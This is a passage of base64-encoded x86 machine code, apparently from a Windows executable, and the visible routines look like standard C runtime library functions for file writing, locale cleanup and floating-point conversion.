//zP2iXXki30Ig//+dRDowIf//8cACQAAAOm3AAAAhf8PiJ8AAAA7PWyyQQAPg5MAAACLx8H4BYlF4Ivfg+MfweMGiwSF2K5BAA++RAMEg+ABdHJX6FQ2AABZiXX8i0XgiwSF2K5BAPZEAwQBdChX6E03AABZUP8VCCFBAIXAdQj/FTQgQQCL8Il15IX2dBjoC4f//4kw6DiH///HAAkAAACDzv+JdeTHRfz+////6AoAAACLxushi30Ii3XkV+hlNwAAWcPoCYf//8cACQAAAOjbdv//g8j/6JaH///DahBowINBAOhEh///M9uJXeSLdQiD/v51F+ijhv//iRjo0Ib//8cACQAAAOm2AAAAhfYPiJcAAAA7NWyyQQAPg4sAAACL3sH7BYv+g+cfwecGiwSd2K5BAA++RDgEg+ABdQroWob//4MgAOtqVuhdNQAAWYNl/ACLBJ3YrkEA9kQ4BAF0E/91EP91DFboXgAAAIPEDIv46xboWIb//8cACQAAAOgZhv//gyAAg8//iX3kx0X8/v///+gKAAAAi8frKIt1CIt95FbofTYAAFnD6O2F//+JGOgahv//xwAJAAAA6Ox1//+DyP/op4b//8NVi+y48BoAAOjENgAAoQiQQQAzxYlF/IOlROX//wCLRQiLTQxWM/aJhTjl//9XM/+JjTDl//+JtUDl//85dRB1BzPA6Q0IAACFyXUf6IGF//8hMOiuhf//xwAWAAAA6IB1//+DyP/p6gcAAIvQi8jB+gWD4R/B4QaJlSjl//9TixSV2K5BAImNJOX//4pcESQC29D7gPsCdAWA+wF1K4tFEPfQqAF1HOgmhf//ITDoU4X//8cAFgAAAOgldf//6YgHAACLhTjl///2RBEEIHQPagJqAGoAUOjKDgAAg8QQ/7U45f//6P/Z//9ZhcAPhFADAACLhSjl//+LjSTl//+LBIXYrkEA9kQBBIAPhDIDAADoqrT//zPJi0BsOYioAAAAjYUY5f//UIuFKOX//w+UwYmNPOX//4uNJOX//4sEhdiuQQD/NAH/FRAhQQCFwA+E7gIAADm1POX//3QIhNsPhN4CAAD/FQwhQQCLlTDl//8zySGNOOX//4mFEOX//4mNNOX//4mVLOX//zlNEA+GgQYAAIuFLOX//zPSiZVA5f//x4UU5f//CgAAACG9POX//4TbD4WuAQAAihAzwIuNJOX//4D6Cg+UwImFGOX//4uFKOX//4sEhdiuQQCJhTzl//85fAE4dByKRAE0iEX0i4U85f//iFX1agIhfAE4jUX0UOtaD77CUOjD3P//WYXAdESLhTDl//+LlSzl//8rwgNFEIP4AQ+G2wEAAGoCUo2FNOX//1DoId///4PEDIP4/w+EBQMAAIuFLOX//0D/hUDl///rJmoB/7Us5f//jYU05f//UOjy3v//g8QMg/j/D4TWAgAAi4Us5f//M8lA/4VA5f//UVFqBYmFLOX//41F9FBqAY2FNOX//1BR/7UQ5f///xVgIEEAiYU85f//hcAPhJUCAABqAI2NOOX//1GLjSTl//9QjUX0UIuFKOX//4sEhdiuQQD/NAH/FbggQQCFwA+ETAEAAIu1QOX//4uNROX//wPxi4U85f//OYU45f//D4xJAgAAOb0Y5f//dEuLjSTl//+NhTjl//9qAFBqAY1F9MZF9A1Qi4Uo5f//iwSF2K5BAP80Af8VuCBBAIXAD4TtAAAAg7045f//AQ+M9wEAAP+FROX//0aLjTTl///phgAAAID7AXQFgPsCdTMPtwgz0mY7jRTl//+JjTTl//8PlMKDwAKJlTzl//+LlUDl//+DwgKJhSzl//+JlUDl//+A+wF0BYD7AnVLUejMMgAAWYuNNOX//2Y7wXV1g8YCOb085f//dCJqDVhQiYU05f//6KYyAABZi4005f//ZjvBdU9G/4VE5f//i5VA5f//i4Us5f//O1UQD4Kp/f//6UUBAACLnSjl//9GigKLlSTl//+LDJ3YrkEAiEQKNIsEndiuQQDHRAI4AQAAAOkXAQAA/xU0IEEAi/jpCgEAAIuFKOX//4sMhdiuQQCLhSTl///2RAgEgA+EdQMAAIuVMOX//zP/ib005f//hNsPhQ4BAACLXRCJlTjl//+F2w+EjQMAADPJjb306///i8KJjTzl//8rhTDl//87w3NEigpCQIiNH+X//4D5ComVOOX//4uNPOX//3UL/4VE5f//xgcNR0GKlR/l//+IF0eLlTjl//9BiY085f//gfn/EwAAcriLjSTl//+NhfTr//8r+I2FIOX//2oAUFeNhfTr//9Qi4Uo5f//iwSF2K5BAP80Af8VuCBBAIXAD4QT////A7Ug5f//Ob0g5f//fBaLlTjl//+LwiuFMOX//zvDD4JB////i7005f//i41E5f//hfYPhfUCAACF/w+ErAIAAGoFWzv7D4WYAgAA6JOA///HAAkAAADoVID//4kY6cYCAACLyoD7Ag+F6gAAADl1EA+GfAIAAMeFFOX//woAAACDpRjl//8AjZ306///i8FqDSvCi5UY5f//XjtFEHMzD7c5g8ACg8ECZju9FOX//3UQg4VE5f//AmaJM4PDAoPCAmaJO4PCAoPDAoH6/hMAAHLIjYX06///iY085f//i40k5f//K9hqAI2FIOX//1BTjYX06///UIuFKOX//4sEhdiuQQD/NAH/FbggQQCLtUDl//+LvTTl//+FwA+E8v3//wO1IOX//4m1QOX//zmdIOX//w+M8f7//4uNPOX//4vBi5Uw5f//K8I7RRAPgi7////p0/7//4tdEImNOOX//4XbD4SKAQAAx4UU5f//CgAAAIOlGOX//wCNhUjl//+LvTjl//8ryouVGOX//zvLczsPtzeDwQKDxwKJvTjl//9mO7UU5f//dRJqDV9miTiDwAKLvTjl//+DwgJmiTCDwgKDwAKB+qgGAABywTP2jY2c8v//VlZoVQ0AAFGNjUjl//8rwZkrwtH4UIvBUFZo6f0AAP8VYCBBAIu1QOX//4u9NOX//4mFPOX//4XAD4QA/f//M8mJjUDl//9qACvBjZUg5f//UlCNhZzy//8DwYuNJOX//1CLhSjl//+LBIXYrkEA/zQB/xW4IEEAhcB0HouNQOX//wONIOX//4uFPOX//4mNQOX//zvBf6/rGv8VNCBBAIuNQOX//4v4i4U85f//ib005f//O8EPj5r9//+LjTjl//+L8YuVMOX//yvyibVA5f//O/MPgsT+///pd/3//2oAjZUg5f//Uv91EP+1MOX///80CP8VuCBBAIXAD4Q9/P//i7Ug5f//M//pR/3//1fo2X3//1nrPIuVMOX//4uFKOX//4uNJOX//4sEhdiuQQD2RAEEQHQJgDoadQQzwOsc6Ml9///HABwAAADoin3//4MgAIPI/+sEK/GLxluLTfxfM81e6BdO//+L5V3DVYvsVot1CIX2D4TqAAAAi0YMOwWEnkEAdAdQ6LWN//9Zi0YQOwWInkEAdAdQ6KON//9Zi0YUOwWMnkEAdAdQ6JGN//9Zi0YYOwWQnkEAdAdQ6H+N//9Zi0YcOwWUnkEAdAdQ6G2N//9Zi0YgOwWYnkEAdAdQ6FuN//9Zi0YkOwWcnkEAdAdQ6EmN//9Zi0Y4OwWwnkEAdAdQ6DeN//9Zi0Y8OwW0nkEAdAdQ6CWN//9Zi0ZAOwW4nkEAdAdQ6BON//9Zi0ZEOwW8nkEAdAdQ6AGN//9Zi0ZIOwXAnkEAdAdQ6O+M//9Zi0ZMOwXEnkEAdAdQ6N2M//9ZXl3DVYvsVot1CIX2dFmLBjsFeJ5BAHQHUOi+jP//WYtGBDsFfJ5BAHQHUOisjP//WYtGCDsFgJ5BAHQHUOiajP//WYtGMDsFqJ5BAHQHUOiIjP//WYtGNDsFrJ5BAHQHUOh2jP//WV5dw1WL7FaLdQiF9g+EbgMAAP92BOhbjP///3YI6FOM////dgzoS4z///92EOhDjP///3YU6DuM////dhjoM4z///826CyM////diDoJIz///92JOgcjP///3Yo6BSM////dizoDIz///92MOgEjP///3Y06PyL////dhzo9Iv///92OOjsi////3Y86OSL//+DxED/dkDo2Yv///92ROjRi////3ZI6MmL////dkzowYv///92UOi5i////3ZU6LGL////dljoqYv///92XOihi////3Zg6JmL////dmTokYv///92aOiJi////3Zs6IGL////dnDoeYv///92dOhxi////3Z46GmL////dnzoYYv//4PEQP+2gAAAAOhTi////7aEAAAA6EiL////togAAADoPYv///+2jAAAAOgyi////7aQAAAA6CeL////tpQAAADoHIv///+2mAAAAOgRi////7acAAAA6AaL////tqAAAADo+4r///+2pAAAAOjwiv///7aoAAAA6OWK////trgAAADo2or///+2vAAAAOjPiv///7bAAAAA6MSK////tsQAAADouYr///+2yAAAAOiuiv//g8RA/7bMAAAA6KCK////trQAAADolYr///+21AAAAOiKiv///7bYAAAA6H+K////ttwAAADodIr///+24AAAAOhpiv///7bkAAAA6F6K////tugAAADoU4r///+20AAAAOhIiv///7bsAAAA6D2K////tvAAAADoMor///+29AAAAOgniv///7b4AAAA6ByK////tvwAAADoEYr///+2AAEAAOgGiv///7YEAQAA6PuJ//+DxED/tggBAADo7Yn///+2DAEAAOjiif///7YQAQAA6NeJ////thQBAADozIn///+2GAEAAOjBif///7YcAQAA6LaJ////tiABAADoq4n///+2JAEAAOigif///7YoAQAA6JWJ////tiwBAADoion///+2MAEAAOh/if///7Y0AQAA6HSJ////tjgBAADoaYn///+2PAEAAOheif///7ZAAQAA6FOJ////tkQBAADoSIn//4PEQP+2SAEAAOg6if///7ZMAQAA6C+J////tlABAADoJIn///+2VAEAAOgZif///7ZYAQAA6A6J////tlwBAADoA4n///+2YAEAAOj4iP//g8QcXl3DVYvsUVaLdQxXVuhuzf//WYtODIv49sGCdRnon3j//8cACQAAAINODCC4//8AAOkpAQAA9sFAdA3ogXj//8cAIgAAAOvgUzPb9sEBdBOJXgT2wRB0f4tGCIPh/okGiU4Mi0YMg+DviV4Eg8gCiUYMqQwBAAB1Kuj1aP//g8AgO/B0DOjpaP//g8BAO/B1C1foDc3//1mFwHUHVugyAgAAWfdGDAgBAAB0fYtWCIsOK8qJTQyNQgKJBotGGIPoAolGBIXJfhdRUlfo/PD//4PEDIvY60eDySCJTgzrdYP//3Qbg//+dBaLx4vPwfgFg+EfweEGAwyF2K5BAOsFudibQQD2QQQgdBRqAlNTV+hRAAAAI8KDxBCD+P90MotGCItNCGaJCOsii0UIZolF/I1F/GoCUFfHRQwCAAAA6Inw//+LTQiDxAyL2DtdDHQLg04MILj//wAA6wMPt8FbX16L5V3Dahho4INBAOird///g87/iXXYiXXci30Ig//+dRjoBnf//4MgAOgyd///xwAJAAAA6b0AAACF/w+InQAAADs9bLJBAA+DkQAAAIvHwfgFiUXki9+D4x/B4waLBIXYrkEAD75EGASD4AF0cFfoxiUAAFmDZfwAi0XkiwSF2K5BAPZEGAQBdBj/dRT/dRD/dQxX6GcAAACDxBCL8Iva6xXouXb//8cACQAAAOh6dv//gyAAi96JddiJXdzHRfz+////6A0AAACL0+sri30Ii13ci3XYV+jZJgAAWcPoSXb//4MgAOh1dv//xwAJAAAA6Edm//+L1ovG6AF3///DVYvsUVFWi3UIV1boPiYAAIPP/1k7x3UR6EN2///HAAk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